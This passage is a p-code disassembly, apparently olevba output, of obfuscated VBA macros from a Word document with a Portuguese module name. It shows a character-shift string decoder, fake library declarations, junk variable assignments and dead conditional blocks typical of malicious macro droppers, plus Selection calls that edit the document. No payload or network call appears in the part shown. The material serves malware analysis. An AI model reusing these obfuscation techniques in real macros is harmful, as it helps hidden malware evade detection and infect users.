' 	VarDefn vwIRxLyRAiZeqePJLecBuOKVRDOYon (As String)
' Line #18:
' Line #19:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld RBbjOtfDbBJvyNswTnVLDCIzZCMetU 
' 	FnLen 
' 	For 
' Line #20:
' Line #21:
' 	Ld RBbjOtfDbBJvyNswTnVLDCIzZCMetU 
' 	Ld i 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	ArgsLd Asc 0x0001 
' 	LitDI2 0x0080 
' 	Lt 
' 	IfBlock 
' Line #22:
' 	Ld RBbjOtfDbBJvyNswTnVLDCIzZCMetU 
' 	Ld i 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	ArgsLd Asc 0x0001 
' 	LitDI2 0x0080 
' 	Add 
' 	St vwIRxLyRAiZeqePJLecBuOKVRDOYon 
' Line #23:
' Line #24:
' 	Ld RBbjOtfDbBJvyNswTnVLDCIzZCMetU 
' 	Ld i 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	ArgsLd Asc 0x0001 
' 	LitDI2 0x0080 
' 	Gt 
' 	ElseIfBlock 
' Line #25:
' 	Ld RBbjOtfDbBJvyNswTnVLDCIzZCMetU 
' 	Ld i 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	ArgsLd Asc 0x0001 
' 	LitDI2 0x0080 
' 	Sub 
' 	St vwIRxLyRAiZeqePJLecBuOKVRDOYon 
' Line #26:
' 	EndIfBlock 
' Line #27:
' Line #28:
' 	Ld vwIRxLyRAiZeqePJLecBuOKVRDOYon 
' 	ArgsLd Chr 0x0001 
' 	Ld RBbjOtfDbBJvyNswTnVLDCIzZCMetU 
' 	Ld i 
' 	LitDI2 0x0001 
' 	Mid 
' Line #29:
' Line #30:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #31:
' Line #32:
' 	Ld RBbjOtfDbBJvyNswTnVLDCIzZCMetU 
' 	St kbbLdVDOERzhLWAciQLkrYkNUsihvW 
' Line #33:
' Line #34:
' 	EndFunc 
' Line #35:
' Line #36:
' Line #37:
' Macros/VBA/Módulo2 - 24828 bytes
' Line #0:
' 	FuncDefn (Private Declare PtrSafe Function mOXCEDlxMzRjJOxdqYznWJvoFuRvKR Lib "WlAlsJtArXMubZRQfYVrzMQwPLxKBFHxZgbZlMVDZcWgsapTYJ" () As String)
' Line #1:
' 	FuncDefn (Private Declare PtrSafe Function UXkaLcGgeyqUmGHgiPVSJdbzCUjrhjGOVHTxmEPhjrIFifLnDh Lib "dDkjjLDKzmKmMoZtVfrMlZvAHyhYREfWNolBkwalSBzvMAqUkg" () As String)
' Line #2:
' 	FuncDefn (Private Declare PtrSafe Function NvYsCmgVkvegTLOtlyYGyUMAeMxzAXQAladDVeAFeiVcfVuPaQ Lib "YLgFgkCmbaIKzDYhGrJHnFlxVedhswykajPEolrdDtjXZSigzO" () As String)
' Line #3:
' Line #4:
' Line #5:
' Line #6:
' 	FuncDefn (Public Sub fAkPnivsopnymjyIEjUjVLYMzmOsAXvqcObjbgUsdQzfIrpDnQ())
' Line #7:
' Line #8:
' Line #9:
' 	Dim 
' 	VarDefn MtPJVDmyCLkMIFDEuUMrtbGqmfohjD (As String)
' Line #10:
' 	LitStr 0x001E "kVvhdzucPxcPpCiNyjbNLNCkJCuHAv"
' 	St MtPJVDmyCLkMIFDEuUMrtbGqmfohjD 
' Line #11:
' 	Dim 
' 	VarDefn GVNQHyqhbdMzjWdOhNewksBdgHXFfU (As Integer)
' Line #12:
' 	LitStr 0x0003 "474"
' 	St GVNQHyqhbdMzjWdOhNewksBdgHXFfU 
' Line #13:
' 	Dim 
' 	VarDefn VEWcqWxGUdAKNfJcotqCPfFsJFUjpO (As Boolean)
' Line #14:
' 	LitStr 0x0003 "438"
' 	St VEWcqWxGUdAKNfJcotqCPfFsJFUjpO 
' Line #15:
' 	Ld VEWcqWxGUdAKNfJcotqCPfFsJFUjpO 
' 	LitDI2 0x03D7 
' 	Eq 
' 	IfBlock 
' Line #16:
' 	Dim 
' 	VarDefn ksQZzBILYlqgfLvsdhDwRWxElSDbPH (As Byte)
' Line #17:
' 	LitStr 0x0003 "513"
' 	St ksQZzBILYlqgfLvsdhDwRWxElSDbPH 
' Line #18:
' 	Dim 
' 	VarDefn HbJfOeBndpCjIynDmVfzBqLePiYSfy (As Byte)
' Line #19:
' 	LitStr 0x0003 "602"
' 	St HbJfOeBndpCjIynDmVfzBqLePiYSfy 
' Line #20:
' 	EndIfBlock 
' Line #21:
' 	Dim 
' 	VarDefn TBtUMawQQMNzJTszTfMQWeLRPIrhBT (As Byte)
' Line #22:
' 	LitStr 0x0002 "68"
' 	St TBtUMawQQMNzJTszTfMQWeLRPIrhBT 
' Line #23:
' 	Dim 
' 	VarDefn vVgXzrSsexKngjsPSEVELyhMWsnEjD (As Boolean)
' Line #24:
' 	LitStr 0x0003 "667"
' 	St vVgXzrSsexKngjsPSEVELyhMWsnEjD 
' Line #25:
' 	Dim 
' 	VarDefn rMBGPhVrbFrlltUYTQBfFoWmGTpPIT (As Double)
' Line #26:
' 	LitStr 0x0003 "743"
' 	St rMBGPhVrbFrlltUYTQBfFoWmGTpPIT 
' Line #27:
' 	Dim 
' 	VarDefn GAdYWUzODJjcAPaAmKsBhdryzTZudG (As Boolean)
' Line #28:
' 	LitStr 0x0003 "088"
' 	St GAdYWUzODJjcAPaAmKsBhdryzTZudG 
' Line #29:
' 	Ld GAdYWUzODJjcAPaAmKsBhdryzTZudG 
' 	LitDI2 0x02FE 
' 	Eq 
' 	IfBlock 
' Line #30:
' 	Dim 
' 	VarDefn ClCxFhsBFGXQoxGEcrGwItxeBVsxSs (As Byte)
' Line #31:
' 	LitStr 0x0003 "890"
' 	St ClCxFhsBFGXQoxGEcrGwItxeBVsxSs 
' Line #32:
' 	Dim 
' 	VarDefn KVQExhGlKywtEnsUTznBbyZCyfiAMf (As Byte)
' Line #33:
' 	LitStr 0x0003 "814"
' 	St KVQExhGlKywtEnsUTznBbyZCyfiAMf 
' Line #34:
' 	EndIfBlock 
' Line #35:
' 	Dim 
' 	VarDefn WdJbdFExKfnOXwLekRWlpCoyPgNfTZ (As Long)
' Line #36:
' 	LitStr 0x0003 "891"
' 	St WdJbdFExKfnOXwLekRWlpCoyPgNfTZ 
' Line #37:
' 	Dim 
' 	VarDefn FwSZZDmlxfqDuQBycigwmqmvSipRQD (As Double)
' Line #38:
' 	LitStr 0x0003 "203"
' 	St FwSZZDmlxfqDuQBycigwmqmvSipRQD 
' Line #39:
' 	Dim 
' 	VarDefn ZkOeeUiIOhjKJgLoKxnipFvfWMLoJg (As Boolean)
' Line #40:
' 	LitStr 0x0003 "813"
' 	St ZkOeeUiIOhjKJgLoKxnipFvfWMLoJg 
' Line #41:
' 	Dim 
' 	VarDefn PifGKPrkIstOOqgmrrKJlnSFwYJTCc (As Byte)
' Line #42:
' 	LitStr 0x0002 "37"
' 	St PifGKPrkIstOOqgmrrKJlnSFwYJTCc 
' Line #43:
' 	Dim 
' 	VarDefn PcxUnqSozlhFQKwcLYUNzKlEBVuJNN (As Integer)
' Line #44:
' 	LitStr 0x0003 "330"
' 	St PcxUnqSozlhFQKwcLYUNzKlEBVuJNN 
' Line #45:
' 	Dim 
' 	VarDefn cjJVDrrWKDKGepohsKoYkREMXvXQsG (As String)
' Line #46:
' 	LitStr 0x001E "LnuCSifElonBZbRAFaEBwvnzBKQoqk"
' 	St cjJVDrrWKDKGepohsKoYkREMXvXQsG 
' Line #47:
' 	Dim 
' 	VarDefn qfuCZUafroJUahoQnjmvXbcROcLQqK (As Boolean)
' Line #48:
' 	LitStr 0x0003 "380"
' 	St qfuCZUafroJUahoQnjmvXbcROcLQqK 
' Line #49:
' 	Ld qfuCZUafroJUahoQnjmvXbcROcLQqK 
' 	LitDI2 0x014E 
' 	Eq 
' 	IfBlock 
' Line #50:
' 	Dim 
' 	VarDefn FGnfNAQJNjiLoGrvaPTylXcxAPUFCk (As Byte)
' Line #51:
' 	LitStr 0x0003 "531"
' 	St FGnfNAQJNjiLoGrvaPTylXcxAPUFCk 
' Line #52:
' 	Dim 
' 	VarDefn GQjnRaPIbqblaUeGWMDgXSkRnQFffn (As Byte)
' Line #53:
' 	LitStr 0x0003 "987"
' 	St GQjnRaPIbqblaUeGWMDgXSkRnQFffn 
' Line #54:
' 	EndIfBlock 
' Line #55:
' Line #56:
' Line #57:
' Line #58:
' 	Ld wdCharacter 
' 	ParamNamed Unit 
' 	LitDI2 0x03E8 
' 	ParamNamed Count 
' 	Ld Selection 
' 	ArgsMemCall MoveRight 0x0002 
' Line #59:
' 	Ld Selection 
' 	ArgsMemCall TypeBackspace 0x0000 
…